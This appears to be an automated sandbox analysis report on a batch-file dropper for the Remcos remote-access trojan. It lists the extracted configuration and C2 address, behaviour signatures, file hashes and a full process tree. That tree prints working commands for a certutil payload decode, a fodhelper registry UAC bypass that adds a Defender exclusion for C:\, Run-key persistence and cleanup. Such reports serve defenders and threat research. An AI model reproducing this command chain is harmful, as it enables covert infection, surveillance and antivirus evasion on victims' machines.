Analysis

  • max time kernel
    147s
  • max time network
    156s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16/05/2024, 15:09

General

  • Target
    bas.bat
  • Size 2.7MB
  • Sample240516-sjfsjaac5w
  • SHA256 1fbb038040043d4a427658fde2cbfd58557ab54b9d104cc70eecb2829f788263
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • remcos

Botnet
  • RemoteHost

C2
  • 89.117.145.5:2404

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-Z1AWP0

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 25 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Kills process with taskkill 1 IoCs
  • Modifies registry class 5 IoCs
  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\bas.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3972
    • C:\Windows\System32\extrac32.exe
      C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
      2⤵
        PID:3924
      • C:\Users\Public\alpha.exe
        C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "
        2⤵
        • Executes dropped EXE
        PID:3680
      • C:\Users\Public\alpha.exe
        C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"
        2⤵
        • Executes dropped EXE
        PID:444
      • C:\Users\Public\alpha.exe
        C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
        2⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:1324
        • C:\Windows\system32\extrac32.exe
          extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
          3⤵
            PID:8
        • C:\Users\Public\alpha.exe
          C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\bas.bat" "C:\\Users\\Public\\Ping_c.mp4" 9
          2⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:4500
          • C:\Users\Public\kn.exe
            C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\bas.bat" "C:\\Users\\Public\\Ping_c.mp4" 9
            3⤵
            • Executes dropped EXE
            PID:956
        • C:\Users\Public\alpha.exe
          C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
          2⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:3608
          • C:\Windows\system32\extrac32.exe
            extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
            3⤵
              PID:4716
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
            2⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:4568
            • C:\Windows\system32\extrac32.exe
              extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
              3⤵
                PID:1272
            • C:\Users\Public\alpha.exe
              C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
              2⤵
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:2988
              • C:\Windows\system32\extrac32.exe
                extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
                3⤵
                  PID:1228
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
                2⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:3600
                • C:\Users\Public\xkn.exe
                  C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
                  3⤵
                  • Executes dropped EXE
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:5112
                  • C:\Users\Public\alpha.exe
                    "C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
                    4⤵
                    • Executes dropped EXE
                    • Suspicious use of WriteProcessMemory
                    PID:4184
                    • C:\Users\Public\ger.exe
                      C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
                      5⤵
                      • Executes dropped EXE
                      • Modifies registry class
                      PID:4540
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Ping_c.mp4" "C:\\Users\\Public\\Libraries\\Ping_c.pif" 12
                2⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:1320
                • C:\Users\Public\kn.exe
                  C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Ping_c.mp4" "C:\\Users\\Public\\Libraries\\Ping_c.pif" 12
                  3⤵
                  • Executes dropped EXE
                  PID:5080
              • C:\Windows \System32\per.exe
                "C:\\Windows \\System32\\per.exe"
                2⤵
                • Checks computer location settings
                • Executes dropped EXE
                PID:2060
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe
                2⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:5020
                • C:\Windows\system32\taskkill.exe
                  taskkill /F /IM SystemSettings.exe
                  3⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1548
              • C:\Users\Public\Libraries\Ping_c.pif
                C:\Users\Public\Libraries\Ping_c.pif
                2⤵
                • Executes dropped EXE
                • Adds Run key to start application
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:2484
                • C:\Windows\SysWOW64\extrac32.exe
                  C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Public\Libraries\Ping_c.pif C:\\Users\\Public\\Libraries\\Htdihaig.PIF
                  3⤵
                    PID:1000
                  • C:\Windows\SysWOW64\colorcpl.exe
                    C:\Windows\System32\colorcpl.exe
                    3⤵
                      PID:4424
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"
                    2⤵
                    • Executes dropped EXE
                    PID:892
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"
                    2⤵
                    • Executes dropped EXE
                    PID:4688
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c rmdir "C:\Windows \"
                    2⤵
                    • Executes dropped EXE
                    PID:724
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\per.exe" / A / F / Q / S
                    2⤵
                    • Executes dropped EXE
                    PID:2968
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S
                    2⤵
                    • Executes dropped EXE
                    PID:1032
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S
                    2⤵
                    • Executes dropped EXE
                    PID:1036
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\Ping_c.mp4" / A / F / Q / S
                    2⤵
                    • Executes dropped EXE
                    PID:3036
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\xkn.exe" / A / F / Q / S
                    2⤵
                    • Executes dropped EXE
                    PID:4052
                • C:\Windows\system32\SystemSettingsAdminFlows.exe
                  "C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper
                  1⤵
                    PID:1132

                  Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

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                        Downloads

                        __PSScriptPolicyTest_ueb525th.hki.ps1

                        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ueb525th.hki.ps1
                        • Size 60B
                        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                        • MD5 SHA1 SHA512

                        Ping_c.pif

                        • Path C:\Users\Public\Libraries\Ping_c.pif
                        • Size 894KB
                        • SHA256 24d07136c34aeda669dd6d6f63464bbcc9501ff196296ace6e69a972d31a8cf7
                        • MD5 SHA1 SHA512 SSDEEP

                        Ping_c.mp4

                        • Path C:\Users\Public\Ping_c.mp4
                        • Size 1.7MB
                        • SHA256 e8fd1824c00e608f08e6955ba4a2364b79cee19b4a05b3b5dff5ca13d56b36cd
                        • MD5 SHA1 SHA512 SSDEEP

                        alpha.exe

                        • Path C:\Users\Public\alpha.exe
                        • Size 283KB
                        • SHA256 b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
                        • MD5 SHA1 SHA512 SSDEEP

                        ger.exe

                        • Path C:\Users\Public\ger.exe
                        • Size 75KB
                        • SHA256 c0e25b1f9b22de445298c1e96ddfcead265ca030fa6626f61a4a4786cc4a3b7d
                        • MD5 SHA1 SHA512 SSDEEP

                        kn.exe

                        • Path C:\Users\Public\kn.exe
                        • Size 1.6MB
                        • SHA256 8de7b4eb1301d6cbe4ea2c8d13b83280453eb64e3b3c80756bbd1560d65ca4d2
                        • MD5 SHA1 SHA512 SSDEEP

                        xkn.exe

                        • Path C:\Users\Public\xkn.exe
                        • Size 442KB
                        • SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
                        • MD5 SHA1 SHA512 SSDEEP

                        per.exe

                        • Path C:\Windows \System32\per.exe
                        • Size 48KB
                        • SHA256 c546e05d705ffdd5e1e18d40e2e7397f186a7c47fa5fc21f234222d057227cf5
                        • MD5 SHA1 SHA512 SSDEEP

                        memory/2484-75-0x0000000000400000-0x00000000004E8000-memory.dmp

                        memory/4424-84-0x0000000015C70000-0x0000000015CF2000-memory.dmp

                        memory/4424-91-0x0000000015C70000-0x0000000015CF2000-memory.dmp

                        memory/4424-81-0x0000000003E90000-0x0000000004E90000-memory.dmp

                        memory/4424-99-0x0000000015C70000-0x0000000015CF2000-memory.dmp

                        memory/4424-85-0x0000000015C70000-0x0000000015CF2000-memory.dmp

                        memory/4424-86-0x0000000015C70000-0x0000000015CF2000-memory.dmp

                        memory/4424-87-0x0000000015C70000-0x0000000015CF2000-memory.dmp

                        memory/4424-83-0x0000000015C70000-0x0000000015CF2000-memory.dmp

                        memory/4424-90-0x0000000015C70000-0x0000000015CF2000-memory.dmp

                        memory/4424-92-0x0000000015C70000-0x0000000015CF2000-memory.dmp

                        memory/4424-94-0x0000000015C70000-0x0000000015CF2000-memory.dmp

                        memory/4424-95-0x0000000015C70000-0x0000000015CF2000-memory.dmp

                        memory/4424-97-0x0000000015C70000-0x0000000015CF2000-memory.dmp

                        memory/4424-96-0x0000000015C70000-0x0000000015CF2000-memory.dmp

                        memory/4424-98-0x0000000015C70000-0x0000000015CF2000-memory.dmp

                        memory/5112-36-0x0000017B7AF00000-0x0000017B7AF22000-memory.dmp